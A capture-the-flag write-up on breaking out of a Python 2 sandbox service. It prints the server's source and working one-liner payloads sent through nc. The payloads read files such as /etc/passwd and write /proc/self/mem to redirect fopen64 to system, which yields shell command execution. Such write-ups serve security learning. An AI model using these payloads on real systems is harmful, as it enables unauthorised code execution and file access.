Another Python sandbox outbreak challenge... with a non-pythonic solution.

Challenge setup

The Plague is building an army of evil hackers, and they are starting off by teaching them python with this simple service. Maybe if you could get full access to this system, at 54.196.37.47:9990, you would be able to find out more about The Plague's evil plans.

We're also given the source code of the server:

#!/usr/bin/python -u
'''
You may wish to refer to solutions to the pCTF 2013 "pyjail" problem if
you choose to attempt this problem, BUT IT WON'T HELP HAHAHA.
'''

from imp import acquire_lock
from threading import Thread
from sys import modules, stdin, stdout

# No more importing!
x = Thread(target = acquire_lock, args = ())
x.start()
x.join()
del x
del acquire_lock
del Thread

# No more modules!
for k, v in modules.iteritems():
    if v == None: continue
    if k == '__main__': continue
    v.__dict__.clear()

del k, v

__main__ = modules['__main__']
modules.clear()
del modules

# No more anything!
del __builtins__, __doc__, __file__, __name__, __package__

print >> stdout, "Get a shell. The flag is NOT in ./key, ./flag, etc."
while 1:
    exec 'print >> stdout, ' + stdin.readline() in {'stdout':stdout}

The description already hints at some more classic non-working ways to break out of this sandbox that use some module references hidden deep in a labyrinth of python objects. I didn't look to closely, but I just assume that doing everything in a new thread after the last import makes sure no module references persist.

However, we do have access to the stdout object. Let's see what we can do with that...

>>> from sys import stdout
>>> dir(stdout)
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__',
'__getattribute__', '__hash__', '__init__', '__iter__', '__new__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__',
'__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors',
'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read',
'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate',
'write', 'writelines', 'xreadlines']
>>> stdout.__class__
<type 'file'>
>>> stdout.__class__('/etc/passwd', 'r').read()
'root:x:0:0:root:/root:/usr/bin/zsh\n
[...]

We can use stdout.__class__ just like we'd use file in python. Let's try it on the remote host:

% echo "stdout.__class__('/tmp/lulu','w').write('aaaaa')" |  nc 54.196.37.47 9990
Get a shell. The flag is NOT in ./key, ./flag, etc.
None
^C
% echo "stdout.__class__('/tmp/lulu').read()" |  nc 54.196.37.47 9990
Get a shell. The flag is NOT in ./key, ./flag, etc.
aaaaa
^C

So we can already read and write arbitrary files... nice. As long as we have the proper permissions. And as long as we know the filenames. Well... the service already tells us that trying random filenames for the flag will not work well, and we have no way yet to list any files. I couldn't find any really interesting files to read or write at first.

/proc is also mounted, and reading /proc/self/cmdline at least shows us the script location and the python interpreter used:

% echo "stdout.__class__('/proc/self/cmdline').read()" |  nc 54.196.37.47 9990
Get a shell. The flag is NOT in ./key, ./flag, etc.
/usr/bin/python2-u/home/nightmares_owner/nightmares.py
^C

But there is a pseudofile in /proc which is a lot more interesting: /proc/self/mem. This gives us read and write access to our python interpreters memory! This will be our way to execute arbitrary code.

We can read /proc/self/maps a few times to see that heap, libraries and stack are randomized, but the python binary location itself is fixed - this makes our job easier. If everything was random, we could still first read the maps first to compute the correct address of whatever we want to access, but it's simpler without.

% echo "stdout.__class__('/proc/self/maps').read()" |  nc 54.196.37.47 9990
Get a shell. The flag is NOT in ./key, ./flag, etc.
00400000-00658000 r-xp 00000000 ca:00 9191                               /usr/bin/python2.7
00857000-00858000 r--p 00257000 ca:00 9191                               /usr/bin/python2.7
00858000-008c1000 rw-p 00258000 ca:00 9191                               /usr/bin/python2.7
[...]
^C

To find anything useful to overwrite, let's first download the python binary:

% echo "stdout.__class__('/usr/bin/python2').read()" | nc 54.196.37.47 9990 > python2.out
^C

The 'get a flag' message is at the beginning of the binary file, so we need to strip it first:

% tail -n+1 python2.out > python

I figured the simplest way to gain a shell would be to redirect fopen() calls to system(), so the next fopen call we issue (like before) should actually execute the given filename as shell command.

I decided to overwrite their PLT entries to accomplish this. First we need to look up the addresses:

% objdump -R python2 | grep -E 'fopen|system'
00000000008582a0 R_X86_64_JUMP_SLOT  system
00000000008588c0 R_X86_64_JUMP_SLOT  fopen64

So if we copy 8 bytes from the system address to the fopen64 address, everything should be fine. This is what we'd like to do:

r = file('/proc/self/mem', 'r')
w = file('/proc/self/mem', 'w', 0) # 0-> unbuffered
r.seek(0x8582a0)
val = r.read(8)
w.seek(0x8588c0)
w.write(val)
file('id')

Try this at home (with offsets changed to match your local python)! It should execute 'id' for you.

Okay, now we need to put this into a single python expression (no assignments!) we can send to the server. By using a lambda expression and calling it with some values, we can assign these values to parameters, similar to using variables.

(lambda r, w:
    r.seek(0x8582a0)
    or w.seek(0x8588c0)
    or w.write(r.read(8))
    or stdout.__class__('id, ls /home/nightmares_owner'))
    (stdout.__class__('/proc/self/mem','r'),
     stdout.__class__('/proc/self/mem','w',0))

There is another small trick at work here: Using shortcut evaluation of the or operator we gain sequential execution - as long as all calls return something False-y (no problem here).

Time to try it in reality!

% echo "(lambda r,w:r.seek(0x8582a0) or w.seek(0x8588c0) or w.write(r.read(8)) or stdout.__class__('id; ls /home/nightmares_owner'))(stdout.__class__('/proc/self/mem','r'), stdout.__class__('/proc/self/mem','w',0))" |  nc 54.196.37.47 9990
Get a shell. The flag is NOT in ./key, ./flag, etc.
None
uid=1002(nightmares_user) gid=1002(nightmares_user) groups=1002(nightmares_user)
total 36
drwxr-xr-x 2 nightmares_owner nightmares_owner 4096 Apr 10 14:16 .
drwxr-xr-x 4 root             root             4096 Apr 10 16:49 ..
-rw------- 1 nightmares_owner nightmares_owner  587 Apr 10 14:16 .bash_history
-rwsr-xr-x 1 nightmares_owner nightmares_owner 4236 Apr 10 14:12 give_me_the_flag.exe
-rw-r--r-- 1 nightmares_owner nightmares_owner  470 Apr 10 14:12 give_me_the_flag.exe.c
-rwxr-xr-x 1 nightmares_owner nightmares_owner  805 Apr 10 14:16 nightmares.py
-rwxr-xr-x 1 nightmares_owner nightmares_owner  122 Apr 10 15:00 problem_wrapper.sh
-r-------- 1 nightmares_owner nightmares_owner   33 Apr 10 14:07 use_exe_to_read_me.txt
sys.excepthook is missing
lost sys.stderr

% echo "(lambda r,w:r.seek(0x8582a0) or w.seek(0x8588c0) or w.write(r.read(8)) or stdout.__class__('cd /home/nightmares_owner/; ./give_me_the_flag.exe'))(stdout.__class__('/proc/self/mem','r'), stdout.__class__('/proc/self/mem','w',0))" |  nc 54.196.37.47 9990         
Get a shell. The flag is NOT in ./key, ./flag, etc.
None
i_like_python_i_like_python_yolo
sys.excepthook is missing
lost sys.stderr

Flag recovered!

I'm curious if there is a pure-Python way to solve this -- if you know one, please let me know!